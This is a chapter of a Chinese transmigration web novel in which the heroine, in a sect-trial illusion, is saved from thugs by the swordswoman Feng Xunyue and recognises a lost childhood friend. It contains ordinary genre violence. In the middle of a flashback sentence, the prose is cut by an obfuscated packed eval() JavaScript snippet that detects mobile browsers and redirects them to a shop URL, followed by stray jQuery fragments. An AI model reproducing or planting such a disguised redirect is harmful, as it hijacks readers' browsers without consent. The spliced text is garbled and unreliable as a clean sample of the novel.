20. 风寻月

作品:《身为女主[穿书]

    “我认识你?”苏遥夜试图拖延时间。


    领头人恨恨道:“当初要不是你多管闲事,我早就与那小美人成了好事。当时你还断了我两只手,现在居然不记得了?!”


    翻遍了颜灵的记忆,苏遥夜终于找到了两人恩怨的源头。


    原因很简单,五年前,颜灵执行任务路过一城,遇见几名散修调戏茶楼卖唱的歌女,甚至意图将人强行掳走。


    那时颜灵路见不平,拔刀相助,给了他们教训后,将几人赶出了城。


    非常简单一件事,颜灵根本没有放在心上,也没想过居然还再遇上他们。


    “……”苏遥夜觉得自己简直是霉上加霉,几乎又要吐血。


    从储物法宝里取了把药粉,领头人胡乱抹在脖子上。


    眼见他逐渐逼近,苏遥夜悄悄取了把幻雷珠握在手心,对其冷嘲热讽:“你这样的渣滓,我不知道教训了多少,要是每个都放在心上,我还有时间修炼吗。”


    “你?!”领头人怒火更甚,转念一想,“颜灵”骂的再厉害,待会还不是只能任他施为,心里的气稍稍通畅了,“颜大小姐想骂就再多骂几句吧,骂个够,不然等会可就没机会了。”


    被恶心得够呛,苏遥夜在心里骂了句傻X。


    “颜姑娘这双眼睛可真漂亮,”领头人蹲下身,“就是不知道等会我给你挖下来后,还有没有这么漂亮。”


    他说着就要伸手来扯苏遥夜的衣裳。


    苏遥夜握着幻雷珠的手心微微出汗,不管怎么说,先炸他个满脸花。她就不信,这人的法宝有她多。


    只是没等到苏遥夜出手殊死一搏,一把不知道从什么地方来的飞刀就钉穿了领头人伸出的右手!


    “啊!”领头人惨叫一声,拔出手心的刀警戒四周,“什么人?!”


    身后枯树上传来一个带笑的女声:“不用紧张,白老大,我只是来打个招呼的。”


    循声望去,但见一裹得严严实实的黑袍人坐在树枝上,手中把玩着两把薄如蝉翼的飞刀,全身上下只露出一双手和半个白皙的下巴。


    苏遥夜尚还有些懵,白老大已经面色铁青,咬牙切齿,一字一句道:“风寻月!”


    “?!”苏遥夜瞳孔骤缩,忍不住怀疑自己耳朵。


    风寻月?哪个风寻月?是她想的那个吗?!


    可惜树上的风寻月听不到苏遥夜的心声,仍与白老大说着话:“参加收徒大会,居然都有闲心找女人,看来你进凤梧山是十拿九稳了。”


    “你想做什么?”白老大面色比刚才死里逃生还难看。


    “做什么?”风寻月似乎哼笑了声,手腕一甩,两把带血的飞刀脱手而出。


    飞刀在空中划出两道银光撞在一起,“叮”地一声脆响后,以一种诡异的弧度左右包抄向白老大。


    此刻白老大再顾不得苏遥夜,急忙施展身法躲避。


    一把刀堪堪擦着他的咽喉飞过,带出一道鲜红的线,一把刀划过他的大腿,鲜血瞬间喷涌而出。


    风寻月从树上跳了下来,落地时兜帽掀起,半张玉琢似的脸一闪而过,她此时才回答了白老大刚才的问题:“打劫你啊。”


    “卑鄙无耻!”白老大捂着伤口喝道。


    “……”苏遥夜取了两颗疗伤的丹药服下,面无表情地想,禽兽不如的家伙骂别人卑鄙无耻,这可真是个不怎么有趣的笑话。


    显然风寻月也觉得不好笑,直接拔刀,足尖一点,向前掠去。


    白老大只觉面前雪光一闪,随后他的脑袋就飞了出去。


    意识消散前,他看到风寻月收刀回鞘,看见自己的身体颓然跪倒……


    杀了白老大后,风寻月搜出了他身上所有的幻珠,起身走向苏遥夜。


    抿了下唇,苏遥夜有些紧张。《天河挽月》的女主绝不是个会欺凌弱小的人,就是不知道面前这个究竟是不是她想的那个风寻月。


    不过观她刚才的行事作风,大概率就是了。


    “又见面了。”风寻月来到苏遥夜面前,“站的起来吗?”


    又?


    苏遥夜面带疑惑,打量了风寻月片刻,总算想了起来:“是你?!”


    手一抬,风寻月掀掉了兜帽:“想起来了?”


    她的样貌非常抢眼,在人群中第一眼就能看到的那种。五官似霜雪雕琢而成,无端就让人觉得锋冷。凤眼微垂,波光流转间摄人心魄。


    如果说颜灵是娇花照水,风寻月就是寒刀出鞘,天差地别般的两种容貌气质,站在一起却又显得异常融洽。


    她把苏遥夜扶了起来,笑道:“我刚刚在不远处听见这边有爆炸声传来,本想来看看有没有便宜可捡,结果就碰到你们了。”


    “你怎么会对上白老大他们?”风寻月问道,“他们那群人虽然无耻,但不会主动去招惹硬茬子。就算他们不长眼要对你下手,你身上法宝众多,要脱身也不是难事才对。”


    抹了把脸,苏遥夜道:“……说来话长了。”


    “那个……”一个柔弱的声音突然插进来,“谢谢你们救了我。”


    女子穿着一身月白色的裙子,腰带勾勒出她纤细的腰身。沼泽中雾气未散,女子袅娜的身影有些模糊,似雾里看花一般。


    她缓步走近,每一次停顿都好像带着丝小心翼翼的试探。


    “这位是?”风寻月看向苏遥夜。


    苏遥夜道:“我撞见白老大他们对这位道友欲行不轨,所以出手相助。结果被暗算,救人不成,自己也要劳人搭救。”


    “原来如此。”风寻月点点头。


    女子已经走到二人面前,她穿得只是凡间布匹裁剪而成的衣服,被之前的战斗波及,破了好些地方。


    “云萝身上没有什么能报答二位的东西,”名唤云萝的女子低头,紧紧抓住自己的裙子,“但往后只要二位恩人需要,云萝赴汤蹈火,在所不辞。”


    风寻月双手抱胸,朝苏遥夜偏了下头:“救你的只有她一个,我只是路过看热闹的。”


    转了个方向,云萝朝苏遥夜跪下:“颜道友,方才多谢你救我。我刚刚真的以为不会有人帮我了,谢谢……真的谢谢你。”


    低眸看着云萝,苏遥夜不知道是不是她中了毒的原因,看人总是看不清楚,所以才觉得云萝莫名让她熟悉。


    上前扶起云萝,苏遥夜说:“我只是做了我自己觉得对的事,你不用行此大礼,再说这里只是幻境而已,我并没有真的救你的命。”


    “话不能这么说,”云萝抬起头,急急道,“虽是幻境,但事情却都是真实发生的。”


    看清云萝脸的那一刻,苏遥夜像被雷电贯穿了一样,浑身僵硬,无法动弹。


    ——你叫什么名字啊?我叫苏遥夜,你可以叫我小夜。”


    小区的儿童游乐园,苏遥夜蹦蹦跳跳跑到一边坐着的女孩面前。


    女孩穿着件白色的T恤,上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976613|193529||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面印着一只紫色的蝴蝶。


    她抬起头,被阳光晃了下,眼睛眯起,稚嫩的脸上带着羞怯的笑:“你好,我叫岳远晴,叫我晴晴就好。”


    “你长得真好看,”苏遥夜一屁股坐在岳远晴身侧,托着腮道,“我能和你做朋友吗?”


    岳远晴眨眨眼,随后用力点了下头:“好啊!”


    “好哎!”苏遥夜拍起了手,“对了,你几岁了?在哪个学校读书?”


    “我今年六岁,马上到实验小学读一年级。”岳远晴奶呼呼地说。


    “我也是,”苏遥夜睁大了眼睛,惊喜道,“你说我们会不会是同班同学?”


    “不知道,不过我希望是。”岳远晴眼睛很亮,跟玻璃珠一样。


    晃了晃脚丫,苏遥夜说:“我也希望。”


    抬手遮了遮越来越大的太阳,苏遥夜偏头问岳远晴:“你要不要去我家玩?就是那边那栋,很近的,那边那个是我奶奶。”


    岳远晴点头:“去啊,我还没去过别人家玩呢。”


    “那我们去告诉我奶奶。”苏遥夜拉着岳远晴跳起来,朝自己奶奶跑去。


    她回头和岳远晴相视一笑。


    回忆中女孩们的脚步声渐渐远了,岳远晴一步一步长大,面容身影与面前之人重叠,令苏遥夜感到惊心动魄的熟悉。


    幻境中已至黄昏,泽气未散,遍地狼藉。


    残照瘴雾里,依稀故人影。


    “颜道友,怎么了?”云萝见苏遥夜神情有异,紧张地问,“你一直盯着我的脸看,我脸上有什么吗?”


    回过神,苏遥夜强行扯出一个笑来:“没什么,就是云道友长得很像我曾经一个朋友。”


    松了口气,云萝柔柔地一笑:“颜道友的朋友应该也是个很好的人吧,如果可以的话,真想认识一下。”


    “恐怕没机会了。”苏遥夜神色黯然,“如果可以,我也很想再见她一面。”


    “对不起,我失言了。”云萝几乎要把裙子揪破了。


    风寻月对云萝道:“能达到参加进入幻境的基本要求,你的天赋也能算是佼佼者了,怎么一副心虚气短的样子。”


    “我……”云萝不敢抬头,嗫嚅着说,“对不起。”


    闻言风寻月一言难尽地摇了摇头。


    她是真的好欺负。


    苏遥夜不欲与云萝为难,拍拍她的肩说:“好了,不知者无罪,你接下来有什么打算?”


    “幻珠都被抢走了,”云萝垂头丧气,“我是肯定进不了凤梧山了,幻境结束去打听别的门派招不招弟子吧。”


    看向风寻月,苏遥夜不好意思地笑了下:“风道友,她的幻珠都被白老大他们抢走了,不知你能不能把原属于云萝的幻珠给她?不行的话,我与你换。”


    “不不不,”云萝连忙摆手道,“风道友抢到了就是她的了,规矩就是这样的。”


    抛了抛白老大的储物法宝,风寻月说:“可也没人说抢走了的,不能再还回去啊。”


    “这……”云萝有些犹豫。


    “说给你就是给你,要真过意不去,等进了凤梧山有了足够能力再还就是了。”苏遥夜劝道。


    云萝感动得无以复加,又要给二人跪下:“多谢两位恩人。”


    横过刀鞘拦了她的动作,风寻月说:“别动不动就跪来跪去的,有这个功夫不如想想你能帮我些什么。”


    “我记住了。”云萝连连点头。